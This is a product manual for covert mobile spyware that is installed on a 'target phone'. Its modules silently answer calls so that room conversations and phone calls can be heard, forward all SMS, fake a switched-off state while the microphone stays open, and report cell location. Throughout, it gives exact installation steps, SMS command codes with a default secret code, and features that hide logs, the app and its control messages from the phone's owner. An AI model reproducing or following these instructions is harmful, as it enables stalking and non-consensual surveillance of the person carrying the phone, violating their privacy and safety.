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  • 1. SPY PHONE (Room Monitor) CALL INTERCEPTOR* (Listen into ongoing conversations) SMS INTERCEPTOR (Sends all incoming and outgoing SMS to the pre-defined number) LOCATION BY SMS (Retrieve the location of the target phone by sending an SMS) PHONE DEAD* (Listen to room conversations when the phone is switched off) * CALL INTERCEPTOR AND PHONE DEAD REQUIRE CALL WAITING, FORWARDING AND CONFERENCING. ____________________________________________________________________________________________________________________________________________________ Page 1 of 29
  • 2. Definitions: Terms Description 1. Intercepted Call A call from target phone (incoming or outgoing) to being eves dropped by the Pre-defined number. 2. Room Monitor Call Call placed by the Pre-defined number to the target phone answered in stealth mode. 3. Intercepted SMS An SMS which is silently being forwarded to the pre-defined number. 4. Configuration SMS An SMS sent by the Pre-defined number to the target phone, containing a valid code for the purposes of configuring the phone. 5. Target User User who is carrying the target phone. 6. Target Phone Phone with the installed software. 7. Monitoring User User that is in possession of the phone which is the pre-defined number. 8. Monitoring Post The handset and the user (as one unit) where the handset is the pre-defined number. 9. Pre-defined number The phone number set in the target phone which can make the target phone perform of variety of operations in stealth/ghost mode. 10. Active State The software is active to receive Configuration SMS and receive calls from the pre-defined number in Room Monitor or Interception mode. 11. Inactive State The software is ready to receive Configuration SMS but not calls from the pre-defined number. All calls including calls from the pre-defined number will be treated as normal calls. 12. Secret Code Your 9 digit code which can be number or alphabets. No Special Characters are allowed. 13. Phone Dead Enables the user to listen the Room Conversation when the phone is switched off. 14. Busy Signal Busy tone or the busy message as provided by the network provider. 15. Phone Switched off Phone switched off message or action as provided by the network provider. message 16. On Boot SMS SMS containing Application Status, sent as soon as the Mobile Equipment is powered up. On Boot SMS is activated by default. 17. On Call SMS SMS sent by the Target Phone to the Pre-defined number containing a notification that an incoming or outgoing call has been connected on the target phone. This SMS contains the incoming/outgoing telephone number. 18. Switch Off Number This number (or SIM) is purchased is always switched off. Ref. Phone Dead Setup, Section 1 for details. ____________________________________________________________________________________________________________________________________________________ Page 2 of 29
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  • 4. CONTENTS SPY PHONE/INTERCEPTOR SETUP Section 1 Introduction…………………………………………………………………………………………………………………………………..... 5 Section 1.1 Remote Management………………………………………………………………………………………………………………………… 5 Section 1.2 Timing………………………………………………………………………………………………………………………………………….. 5 Section 1.3 Stealth Features………………………………………………………………………………………………………………………………. 6 Section 1.4 Other Features………………………………………………………………………………………………………………………………... 6 Section 2 Configuration and Setup……………………………………………………………………………………………………………………... 7 Section 3 Examples …………………….……………………………………………………………………………………………………………….. 10 SMS FORWARDER SETUP Section 1 Introduction…………………………………………………………………………………………………………………………………..... 11 Section 1.1 Remote Management………………………………………………………………………………………………………………………… 11 Section 1.2 Timing………………………………………………………………………………………………………………………………………….. 12 Section 1.3 Stealth Features………………………………………………………………………………………………………………………………. 12 Section 2 Configuration and Setup……………………………………………………………………………………………………………………... 13 Section 3 Examples …………………….……………………………………………………………………………………………………………….. 16 PHONE DEAD SETUP Section 1 Introduction…………………………………………………………………………………………………………………………………..... 17 Section 1.1 Remote Management………………………………………………………………………………………………………………………… 18 Section 1.2 Timing………………………………………………………………………………………………………………………………………….. 18 Section 1.3 Stealth Features………………………………………………………………………………………………………………………………. 18 Section 1.4 Other Features………………………………………………………………………………………………………………………………... 19 Section 2 Configuration and Setup……………………………………………………………………………………………………………………... 19 Section 3 Examples……………………...………………………………………………………………………………………………………………. 23 . LOCATION BY SMS SETUP Section 1 Introduction…………………………………………………………………………………………………………………………………..... 24 Section 1.1 Remote Management………………………………………………………………………………………………………………………… 24 Section 1.2 Timing………………………………………………………………………………………………………………………………………….. 25 Section 1.3 Stealth Features………………………………………………………………………………………………………………………………. 25 Section 1.4 Other Features………………………………………………………………………………………………………………………………... 25 Section 2 Configuration and Setup……………………………………………………………………………………………………………………... 26 Section 3 Examples…….………………………………………………………………………………………………………….…………………….. 29 ____________________________________________________________________________________________________________________________________________________ Page 4 of 29
  • 5. SPY PHONE/INTERCEPTOR SETUP (Require Call Waiting and Call Conferencing) Section 1: Introduction: Spy Phone allows the user to call the target phone (with the installed software) which will result in the phone answering in ghost mode, i.e. answers at zero ring, without lights, call notifications and log creation. No visual or physical changes can be noticed on the target phone. Interceptor, which also includes the Spy Phone, enables the user to call the target phone (with the installed software) and listen to the conversations of the incoming or outgoing calls. Incase there are no conversations that are taking place, the target phone responds in Ghost Mode allowing the user to listen in to the surroundings. Please also note that both Spy Phone and Interceptor send SMS to the pre-defined number as soon as an incoming or outgoing call is connected. This release has been developed while maintaining the highest level of security. You have the ability to manage the software remotely. The personal secret code allows you to manage the software from any phone. Please note the following important points before configuring the phones: Section 1.1: Remote Management You now have the ability to remotely configure the phone. You can send a special SMS to perform the following functions on the phone: • Activate the Software • Deactivate the Software • Change the Secret code to manage the software • Change the Pre-Defined Number • Query for the Status of the software on the phone. Section 1.2: Timing In this new version a bottom up approach has been developed where we have built our own telephony Server. This means that there our Telephony servers require time to start. To avoid any complications please follow this precaution: • Configuration SMS should be sent with an interval of 10 Seconds. For e.g. The user sends an SMS to deactivate the program on the target phone. If the user now wants to activate the program on the target phone, then they should wait for 10 Seconds before sending this SMS. In other words two configuration SMS should be at least 10 Seconds apart. • Room Monitor or Interception calls should also be made at an interval of 10 Seconds. For e.g. A Room Monitor call is placed. The user disconnects this call. The next Room Monitor call should be placed after 10 Seconds. ____________________________________________________________________________________________________________________________________________________ Page 5 of 29
  • 6. Section 1.3: Stealth Features: 1. No lights or visual changes can be seen on the Mobile Equipment (ME) when a Room Monitor or Interception call is placed. 2. No Log creation for Incoming Room Monitor Call, Interception Call, Configuration SMS or Intercepted SMS. 3. No Installation Logs of the software. 4. Software cannot be traced inside the phone. 5. Software silently starts up on phone boot or restart; if it is in Active State. 6. Configuration SMS when arrive on the target phone cannot be viewed in the Inbox nor do they represent any visual changes on the screen. Section 1.4: Other Features: 1. Any Key Disconnect: When a Room Monitor is placed or a call has been intercepted, these calls will be disconnected as soon as the user presses a key to avoid any suspicion to the Target User. 2. Caller Breakthrough: If an incoming call arrives to the target phone, while a Room Monitor call is in progress, the Room Monitor Call will automatically disconnect and let the phone ring as normal. 3. Activate, Deactivate, Change the Secret Code or the Pre-defined number at any time from any phone all over the world. No restrictions. ____________________________________________________________________________________________________________________________________________________ Page 6 of 29
  • 7. Section 2: Configuration and Setup: In this section we aim to explain how to install the software on the phone. To install the software use Bluetooth, Infrared or Cable to transfer the .SIS file to your phone. To perform this, please refer to the manuals provided with the phone or contact your sales person who will provide special instructions. The following procedure governs the Remote Configuration SMS. 1. Configuration SMS begin with * and also end with a *. 2. Commands and text within the SMS is separated by a #. The following table explains the commands: Code Explanation 0 Deactivate 1 Activate 2 Change Secret Code 3 Change Pre-Defined Number 4 Query Status 5 Activate/Deactivate on boot SMS. (Active by default) 6 Activate/Deactivate SMS on calls. (Active by default) Example Remote Configuration SMS for Spy Phone/Interceptor Software with code as 123456789: 1. To Deactivate: *#123456789#0* 2. To Activate: *#123456789#1* 3. To Change Secret Code: *#123456789#2#987654321* (This will change the pre-defined code from 123456789 to 987654321) 4. To Set/Change Pre-defined Number: *#123456789#3#5550001* 5. To Query Phone Status: *#123456789#4* 6. To Activate on boot SMS: *#123456789#5#1* 7. To de-Activate on boot SMS: *#123456789#5#0* 8. To Activate SMS on calls: *#123456789#6#1* 9. To de-Activate SMS on calls: *#123456789#6#0* To install the software please follow these steps: 1. Install the .SIS file. (no reboot required) The software is now ready for configuration. However, if you have sent us the pre- defined number already then please note that you don’t need to send any SMS to configure the application. Kindly also note, that you can change the pre-defined number and the secret code by sending an SMS at any time. Your default secret code is: 123456789. ____________________________________________________________________________________________________________________________________________________ Page 7 of 29
  • 8. Incase you have not provided us with a pre-defined number then please note that you can set a Special Code yourself. To set up your code please follow these steps after your have installed the .SIS files and rebooted your phone. Also note that at this point your phone does not have a Secret Code, so the code that you send the first time will become your code. To setup the Spy Phone or Interceptor Software follow the 4 steps below: Step 1: Setup your code. Send an SMS from any phone with the following body to the target phone. a. *#<9 Digit Code>#0* b. The 9 Digit Code can be any Number or Alphabets. The following are valid examples of codes (Do not use any special characters in the code): i. *#123456789#0* ii. *#abcdefghi#0* iii. *#a1b2c3d4f#0* c. Let’s assume that you have sent the following code: *#123456789#0*. This will setup your software’s code to 123456789 and at the same time ensuring that the software is still inactive. d. Wait for 10 Seconds after sending this SMS. Step 2: Setup the Pre-defined number. Now that you have setup the code, we need to fix the pre-defined number. Send the following SMS from any phone: *#123456789#3#5551234* Wait for 10 Seconds after sending this SMS. This will setup your pre-defined number as 5551234. Step 3: Activate the software. The code and the pre-defined number have been setup; activate the software by sending the following SMS: *#123456789#1* Wait for 10 Seconds after sending this SMS. Step 4: Check Status of the software. If you wish to check the status of the phone and obtain network information of the phone, end the following SMS: *#123456789#4* Wait for 10 Seconds after sending this SMS. In this time the Target Phone will respond with an SMS with the following Information: ____________________________________________________________________________________________________________________________________________________ Page 8 of 29
  • 9. Phone is SWITCH ON. Application Status: Running Date and Time: DD/MM/YYYY, HH:MM:SS IMEI: 123456789012345 Signal Strength: XX% You can now call the phone from the pre-defined number to ensure that Room Monitor is working properly. ____________________________________________________________________________________________________________________________________________________ Page 9 of 29
  • 10. Section 3: Examples: If you wish to change the number or pre-defined code at any time you just need to send an SMS to change the codes, without activating or deactivating the software on the target phone. Section 3.1 Change Code If you want to change the code of the software, send an SMS with the following body: *#123456789#2#000000000* This will change the original code of the software, i.e. 123456789 to the new code, i.e. 000000000. Section 3.2 Change Pre-defined number. If you wish to change the pre-defined number of the software, send an SMS with the following body: *#123456789#3#5550000* (assuming that the current code is 123456789). Section 3.3 De-Activate on Boot SMS Please note that “on boot” SMS sending is activated as a default option. To de-activate “on boot” SMS send an SMS with the following body: *#123456789#5#0* Section 3.4 Activate on Boot SMS Please note that “on boot” SMS sending is activated as a default option. To activate “on boot” SMS send an SMS with the following body: *#123456789#5#1* Section 3.5 Activate on SMS on calls Please note that “on calls” SMS sending is activated as a default option. To activate “on boot” SMS send an SMS with the following body: *#123456789#6#1* Section 3.6 Deactivate on SMS on calls Please note that “on calls” SMS sending is activated as a default option. To deactivate “on boot” SMS send an SMS with the following body: *#123456789#6#0* ____________________________________________________________________________________________________________________________________________________ Page 10 of 29
  • 11. SMS FORWARDER SETUP Section 1: Introduction: The SMS forwarder instantly catches all incoming and outgoing SMS on the target device (where the software is installed) and forwards them silently to the pre-defined number. SMS forwarder has been built via a special in-built SMS Server Engine which assures reliability of the software. The software does not use the Inbox of the phone to receive or Outbox/Sent to send the SMS. This means that the icon of intercepted SMS will not appear on the phone’s screen, including for SMSes that cannot be sent due to • low balance, • network problems or • any other delay It is also ensured that there will not be any system error notification to the user in respect to the Intercepted SMS. Section 1.1: Remote Management You now have the ability to remotely configure the phone. You can send a special SMS to perform the following functions on the phone: • Activate the SMS Software • Deactivate the SMS Software • Change the Secret code to manage the software • Change the Pre-Defined Number for SMS forwarding • Query for the Status of the SMS software on the phone. Section 1.2: Timing In this new version a bottom up approach has been developed where we have built our own SMS Server. This means that there our SMS servers require time to start/reconfigure itself after every configuration SMS has been sent. To avoid any complications please follow this precaution: • Configuration SMS should be sent with an interval of 10 Seconds. For eg. The user sends an SMS to deactivate the program on the target phone. If the user now wants to activate the program on the target phone, then they should wait for 10 Seconds before sending this SMS. In other words two configuration SMS should be at least 10 Seconds apart. ____________________________________________________________________________________________________________________________________________________ Page 11 of 29
  • 12. Section 1.3: Stealth Features: 1. No lights or visual changes can be seen on the Mobile Equipment (ME) when SMS Interception occurs. 2. No Log creation for Intercepted SMS. 3. No Installation Logs of the software. 4. Software cannot be traced inside the phone. 5. Software silently starts up on phone boot or restart; if it is in Active State. 6. Configuration SMS when arrive on the target phone cannot be viewed in the Inbox nor do they represent any visual changes on the screen. 7. Intercepted SMS do not have any arrows while they are being sent. 8. Intercepted SMS do not appear in the Inbox at any time, nor do they remain in the Outbox at any time, including if the SIM card has no balance. ____________________________________________________________________________________________________________________________________________________ Page 12 of 29
  • 13. Section 2: Configuration and Setup: In this section we aim to explain how to install the software on the phone. To install the software please use Bluetooth, Infrared or Cable to transfer the .SIS file to your phone. To perform this, please refer to the manuals provided with the phone or contact your sales person who will provide special instructions. The following procedure governs the Remote Configuration SMS. 1. Configuration SMS begin with * and also end with a *. 2. Commands and text within the SMS is separated by a &. The following table explains the commands: Code Explanation 0 Deactivate 1 Activate 2 Change Secret Code 3 Change Pre-Defined Number 4 Query Status 5 Activate/Deactivate on boot SMS. (Active by default) Example Remote Configuration SMS for SMS Interceptor Software with code as 123456789: 1. To Deactivate: *&123456789&0* 2. To Activate: *&123456789&1* 3. To Change Secret Code: *&123456789&2&987654321* (This will change the pre-defined code from 123456789 to 987654321) 4. To Set/Change Pre-defined Number: *&123456789&3&5550001* 5. To Query Phone Status: *&123456789&4* 6. To Activate on boot SMS: *&123456789&5&1* 7. To de-Activate on boot SMS: *&123456789&5&0* To install the software please follow these steps: 1. Install the .SIS file. (no reboot required) The software is now ready for configuration. However, if you have sent us the pre- defined number already then please note that you don’t need to send any SMS to configure the application. Kindly also note, that you can change the pre-defined number and the secret code by sending an SMS at any time. Your default secret code is: 123456789. ____________________________________________________________________________________________________________________________________________________ Page 13 of 29
  • 14. Incase you have not provided us with a pre-defined number then please note that you can set a Special Code yourself. To set up your code please follow these steps after your have installed the .SIS files and rebooted your phone. Also note that at this point your phone does not have a Secret Code, so the code that you send the first time will become your code. To setup the SMS Interceptor Software follow the 4 steps below: Step 1: Setup your code. Send an SMS from any phone with the following body to the target phone. a. *&<9 Digit Code>&0*. b. The 9 Digit Code can be any Number or Alphabets. The following are valid examples of codes (Do not use any special characters in the code): i. *&123456789&0* ii. *&abcdefghi&0* iii. *&a1b2c3d4f&0* c. Let’s assume that you have sent the following code: *&123456789&0*. This will setup your software’s code to 123456789 and at the same time ensuring that the software is still inactive. d. Wait for 10 Seconds after sending this SMS. Step 2: Setup the Pre-defined number for SMS Forwarding. Now that you have setup the code, we need to fix the pre-defined number. Send the following SMS from any phone: *&123456789&3&5551234* Wait for 10 Seconds after sending this SMS. This will setup your pre-defined number as 5551234. Step 3: Activate the software. The code and the pre-defined number have been setup, activate the software by sending the following SMS: *&123456789&1* Wait for 10 Seconds after sending this SMS. Step 4: Check Status of the software. If you wish to check the status of the phone and obtain network information of the phone, end the following SMS: *&123456789&4* ____________________________________________________________________________________________________________________________________________________ Page 14 of 29
  • 15. Wait for 10 Seconds after sending this SMS. In this time the Target Phone will respond with an SMS with the following Information: Phone is SWITCH ON. SMS Application Status: Running Date and Time: DD/MM/YYYY, HH:MM:SS IMEI: 123456789012345 Signal Strength: XX% You can now send an SMS to the phone from any number to ensure that SMS Interception is working properly. ____________________________________________________________________________________________________________________________________________________ Page 15 of 29
  • 16. Section 3: Examples: If you wish to change the number or pre-defined code at any time you just need to send an SMS to change the codes, without activating or deactivating the software on the target phone. Section 3.1 Change Code If you want to change the code of the software, send an SMS with the following body: *&123456789&2&000000000* This will change the original code of the software, i.e. 123456789 to the new code, i.e. 000000000. Section 3.2 Change Pre-defined number. If you wish to change the pre-defined number of the software, send an SMS with the following body: *&123456789&3&5550000* (Assuming that the current code is 123456789). Section 3.3 De-Activate on Boot SMS Please note that “on boot” SMS sending is activated as a default option. To de-activate “on boot” SMS send an SMS with the following body: *&123456789&5&0* Section 3.4 Activate on Boot SMS Please note that “on boot” SMS sending is activated as a default option. To activate “on boot” SMS send an SMS with the following body: *&123456789&5&1* ____________________________________________________________________________________________________________________________________________________ Page 16 of 29
  • 17. PHONE DEAD SETUP (Require Call Forwarding) Section 1: Introduction: This release enables the user from the pre-defined number to call the phone when it is switched off and listen to the conversations taking place around the phone. It should be noted that as soon as the phone is switched off our Telephony Server remains and obtains the Phone Switched Off message form the Network Service Provider. In essence, when the user presses the power-off button, we allow the phone to be switched off. The software is then instantly activated which starts to monitor for incoming calls. The main features of the Phone Dead are the following: • When an incoming call is placed from the pre-defined number to the target phone (which is currently in the switched off mode) then the Target Phone will silently answer this call without creating logs or changing the display of the screen. • When an incoming call is placed from any number (apart from the pre-defined number) to the Target Phone (which is currently in switched off mode) then the phone responds with a Switched off message. It should be noted that the Phone Switched Off message is exactly similar to the message as set by the Network Provider when the phone is switched off. • When an incoming call is placed from any number (apart from the pre-defined number) to the target phone (which is currently in switched off mode) and the room monitor call is in progress, then the phone responds with a Phone Switched off signal. Special Requirement for Phone Dead to Work: 1. A Mobile Telephone number that is always switched off. This SIM should never be switched on or used on another phone. To use this SIM efficiently for the purposes of this software, follow these steps: a. Purchase a new SIM card. b. Insert it in any phone, and switch the phone ON. c. Let the phone register on the network. d. Power off the phone. e. You can now take out the SIM and not use it on any phone. However, the phone itself can be used again. The Phone number of the SIM is to be setup in the software. The software will query this SIM to obtain the latest “Phone Switched off” message as provided by the Network Service Provider. ____________________________________________________________________________________________________________________________________________________ Page 17 of 29
  • 18. Please note the following important points before configuring the phones: Section 1.1: Remote Management You now have the ability to remotely configure the phone. You can send a special SMS to perform the following functions on the phone: • Activate the Software • Deactivate the Software • Change the Secret code to manage the software • Change the Pre-Defined Number • Query for the Status of the software on the phone. • Set/Define the Switched off Number. Section 1.2: Timing In this new version a bottom up approach has been developed where we have built our own telephony and Network Communication Server. This means that there our Telephony and Network Communication servers require time to start. To avoid any complications please follow this precaution: • Configuration SMS should be sent with an interval of 10 Seconds. For eg. The user sends an SMS to deactivate the program on the target phone. If the user now wants to activate the program on the target phone, then they should wait for 10 Seconds before sending this SMS. In other words two configuration SMS should be at least 10 Seconds apart. • Room Monitor calls should also be made at an interval of 120 Seconds (i.e. 2 Minutes). For eg. A Room Monitor call is placed. The user disconnects this call. The next Room Monitor call should be placed after 120 Seconds (i.e. 2 Minutes). Section 1.3: Stealth Features: 1. The Mobile Equipment (ME) continues to be in switched off when a Room Monitor call is placed. 2. No Log creation for Incoming Room Monitor Call, or Configuration SMS. 3. No Installation Logs of the software. 4. Software cannot be traced inside the phone. 5. Software silently starts up on phone boot or restart; if it is in Active State. 6. Configuration SMS when arrive on the target phone cannot be viewed in the Inbox nor do they represent any visual changes on the screen. ____________________________________________________________________________________________________________________________________________________ Page 18 of 29
  • 19. Section 1.4: Other Features: 1. Power Key: When the phone is in “Phone Dead” state, while our software is active, and the user presses the Power button to power up the phone; The software will allow the phone to start up normally and return the phone and the software to it’s original state. 2. Caller Management: If an incoming call arrives to the target phone, while a Room Monitor call is in progress, the Room Monitor Call will not disconnect and the other caller will hear a “Phone is switched off” message. 3. Activate, Deactivate, Change the Secret Code or the Pre-defined number at any time from any phone all over the world. No restrictions. ____________________________________________________________________________________________________________________________________________________ Page 19 of 29
  • 20. Section 2: Configuration and Setup: In this section we aim to explain how to install the software on the phone. To install the software please use Bluetooth, Infrared or Cable to transfer the .SIS file to your phone. To perform this, please refer to the manuals provided with the phone or contact your sales person who will provide special instructions. The following procedure governs the Remote Configuration SMS. 1. Configuration SMS begin with * and also end with a *. 2. Commands and text within the SMS is separated by a -. Code Explanation 0 Deactivate 1 Activate 2 Change Secret Code 3 Change Pre-Defined Number 4 Query Status 5 Activate/Deactivate on boot SMS. (Active by default) 6 Define Switch off Phone Number Example Remote Configuration SMS for Phone Dead Software with code as 123456789: 1. To Deactivate: *-123456789-0* 2. To Activate: *-123456789-1* 3. To Change Secret Code: *-123456789-2-987654321* (This will change the pre-defined code from 123456789 to 987654321) 4. To Set/Change Pre-defined Number: *-123456789-3-5550001* 5. To Query Phone Status: *-123456789-4* 6. To Activate on boot SMS: *-123456789-5-1* 7. To de-Activate on boot SMS: *-123456789-5-0* 8. To define the Switch Off Number: *-123456789-6-+12125551234* (IMPORTANT: PLEASE MAKE SURE SWITCH OFF NUMBER SHOULD START WITH A “+” FOLLOWED BY COUNTRY CODE, AREA COD AND THEN THE PHONE NUMBER) To install the software please follow these steps: 1. Install the .SIS file. (no reboot required) The software is now ready for configuration. However, if you have sent us the pre- defined number already then please note that you don’t need to send any SMS to configure the application. Kindly also note, that you can change the pre-defined number and the secret code by sending an SMS at any time. Your default secret code is: 123456789. ____________________________________________________________________________________________________________________________________________________ Page 20 of 29
  • 21. Incase you have not provided us with a pre-defined number then please note that you can set a Special Code yourself. To set up your code please follow these steps after your have installed the .SIS files and rebooted your phone. Also note that at this point your phone does not have a Secret Code, so the code that you send the first time will become your code. To setup the Phone Dead Software follow the 5 steps below: Step 1: Setup your code. Send an SMS from any phone with the following body to the target phone. a. *-<9 Digit Code>-0* b. The 9 Digit Code can be any Number or Alphabets. The following are valid examples of codes (Do not use any special characters in the code): i. *-123456789-0* ii. *-abcdefghi-0* iii. *-a1b2c3d4f-0* c. Let’s assume that you have sent the following code: *-123456789-0*. This will setup your software’s code to 123456789 and at the same time ensuring that the software is still inactive. d. Wait for 10 Seconds after sending this SMS. Step 2: Setup the Pre-defined number. Now that you have setup the code, we need to fix the pre-defined number. Send the following SMS from any phone: *-123456789-3-5551234* Wait for 10 Seconds after sending this SMS. This will setup your pre-defined number as 5551234. Step 3: Set/Define Switched off Number. To ensure that every caller (except the pre-defined number) can hear the Phone Switched Off message, send an SMS with the following body: *-123456789-6-5551234* Wait for 10 Seconds after sending this SMS. Step 4: Activate the software. The code and the pre-defined number have been setup; activate the software by sending the following SMS: *-123456789-1* Wait for 10 Seconds after sending this SMS. ____________________________________________________________________________________________________________________________________________________ Page 21 of 29
  • 22. Step 5: Check Status of the software. If you wish to check the status of the phone and obtain network information of the phone, end the following SMS: *-123456789-4* Wait for 10 Seconds after sending this SMS. In this time the Target Phone will respond with an SMS with the following Information: Phone is SWITCH ON. Application Status: Running Date and Time: DD/MM/YYYY, HH:MM:SS IMEI: 123456789012345 Signal Strength: XX% You can now switch off and call the phone (when it is switched off) from the pre-defined number to ensure that Room Monitor is working properly. ____________________________________________________________________________________________________________________________________________________ Page 22 of 29
  • 23. Section 3: Examples: If you wish to change the number or pre-defined code at any time you just need to send an SMS to change the codes, without activating or deactivating the software on the target phone. Section 3.1 Change Code If you want to change the code of the software, send an SMS with the following body: *-123456789-2-000000000* This will change the original code of the software, i.e. 123456789 to the new code, i.e. 000000000. Section 3.2 Change Pre-defined number. If you wish to change the pre-defined number of the software, send an SMS with the following body: *-123456789-3-5550000* (assuming that the current code is 123456789). ____________________________________________________________________________________________________________________________________________________ Page 23 of 29
  • 24. LOCATION BY SMS SETUP Section 1: Introduction: This release enables the user from the pre-defined number to send an SMS to the target phone (where the software is installed) and get the GSM location of the target phone. This feature is only available in the advanced version of the software. The user from the pre-defined number will send an SMS with a code and receive the following information as a response: Network: XXX LAC: XXX CI: XXX Signal Strength: XX% Location Name: XXXXXXX Current Time: hh:mm:ss • LAC is Location Area Code • CI is the Cell ID • Signal Strength is the current strength of the tower that the phone is bound to. • Location name is the name of the area that the network provider sends to the phone. All this information is provided exactly as the network provider sends to the SIM card of the phone. Please note the following important points before configuring the phones: Section 1.1: Remote Management You now have the ability to remotely configure the phone. You can send a special SMS to perform the following functions on the phone: • Activate the Software • Deactivate the Software • Change the Secret code to manage the software • Change the Pre-Defined Number • Query for the Status of the software on the phone. • Query for Location Information of the phone. ____________________________________________________________________________________________________________________________________________________ Page 24 of 29
  • 25. Section 1.2: Timing In this new version a bottom up approach has been developed where we have built our own telephony and Network Communication Server. This means that there our Telephony and Network Communication servers require time to start. To avoid any complications please follow this precaution: • Configuration SMS should be sent with an interval of 10 Seconds. For eg. The user sends an SMS to deactivate the program on the target phone. If the user now wants to activate the program on the target phone, then they should wait for 10 Seconds before sending this SMS. In other words two configuration SMS should be atleast 10 Seconds apart. • Room Monitor calls should also be made at an interval of 10 Seconds. For eg. A Room Monitor call is placed. The user disconnects this call. The next Room Monitor call should be placed after 10 Seconds. Section 1.3: Stealth Features: 1. The Mobile Equipment (ME) continues to be in switched off when a Room Monitor call is placed. 2. No Log creation for Incoming Room Monitor Call, or Configuration SMS. 3. No Installation Logs of the software. 4. Software cannot be traced inside the phone. 5. Software silently starts up on phone boot or restart; if it is in Active State. 6. Configuration SMS when arrive on the target phone cannot be viewed in the Inbox nor do they represent any visual changes on the screen. Section 1.4: Other Features: 1. Activate, Deactivate, Change the Secret Code, the Pre-defined number or Query the Mobile Equipment at any time from any phone all over the world. No restrictions. ____________________________________________________________________________________________________________________________________________________ Page 25 of 29
  • 26. Section 2: Configuration and Setup: In this section we aim to explain how to install the software on the phone. To install the software please use Bluetooth, Infrared or Cable to transfer the .SIS file to your phone. To perform this, please refer to the manuals provided with the phone or contact your sales person who will provide special instructions. The following procedure governs the Remote Configuration SMS. 3. Configuration SMS begin with * and also end with a *. 4. Commands and text within the SMS is separated by a +. The following table explains the commands: Code Explanation 0 Deactivate 1 Activate 2 Change Secret Code 3 Change Pre-Defined Number 4 Query Location Information Example Remote Configuration SMS for Location by SMS Software with code as 123456789: 1. To Deactivate: *+123456789+0* 2. To Activate: *+123456789+1* 3. To Change Secret Code: *+123456789+2+987654321* (This will change the pre-defined code from 123456789 to 987654321) 4. To Set/Change Pre-defined Number: *+123456789+3+5550001* 5. To Query Location Status: *+123456789+4* To install the software please follow these steps: 2. Install the .SIS file. (no reboot required) The software is now ready for configuration. However, if you have sent us the pre- defined number already then please note that you don’t need to send any SMS to configure the application. Kindly also note, that you can change the pre-defined number and the secret code by sending an SMS at any time. Your default secret code is: 123456789. Incase you have not provided us with a pre-defined number then please note that you can set a Special Code yourself. To set up your code please follow these steps after your have installed the .SIS files and rebooted your phone. Also note that at this point your phone does not have a Secret Code, so the code that you send the first time will become your code. ____________________________________________________________________________________________________________________________________________________ Page 26 of 29
  • 27. To setup the Location Software follow the 4 steps below: Step 1: Setup your code. Send an SMS from any phone with the following body to the target phone. e. *+<9 Digit Code>+0*. f. The 9 Digit Code can be any Number or Alphabets. The following are valid examples of codes +Do not use any special characters in the code): iv. *+123456789+0* v. *+abcdefghi+0* vi. *+a1b2c3d4f+0* g. Let’s assume that you have sent the following code: *+123456789+0*. This will setup your software’s code to 123456789 and at the same time ensuring that the software is still inactive. h. Wait for 10 Seconds after sending this SMS. Step 2: Setup the Pre-defined number. Now that you have setup the code, we need to fix the pre-defined number. Send the following SMS from any phone: *+123456789+3+5551234* Wait for 10 Seconds after sending this SMS. This will setup your pre-defined number as 5551234. Step 3: Activate the software. The code and the pre-defined number have been setup, activate the software by sending the following SMS: *+123456789+1* Wait for 10 Seconds after sending this SMS. Step 4: Query Mobile Equipment for the Location Information. If you wish to check the location of the phone and obtain network information of the phone, end the following SMS: *+123456789+4* Wait for 10 Seconds after sending this SMS. ____________________________________________________________________________________________________________________________________________________ Page 27 of 29
  • 28. In this time the Target Phone will respond with an SMS with the following Information: Network: XXX LAC: XXX CI: XXX Signal Strength: XX% Location Name: XXXXXXX Current Time: hh:mm:ss ____________________________________________________________________________________________________________________________________________________ Page 28 of 29
  • 29. Section 3: Examples: If you wish to change the number or pre-defined code at any time you just need to send an SMS to change the codes, without activating or deactivating the software on the target phone. Section 3.1 Change Code If you want to change the code of the software, send an SMS with the following body: *+123456789+2+000000000* This will change the original code of the software, i.e. 123456789 to the new code, i.e. 000000000. Section 3.2 Change Pre-defined number. If you wish to change the pre-defined number of the software, send an SMS with the following body: *+123456789+3+5550000* (assuming that the current code is 123456789). ____________________________________________________________________________________________________________________________________________________ Page 29 of 29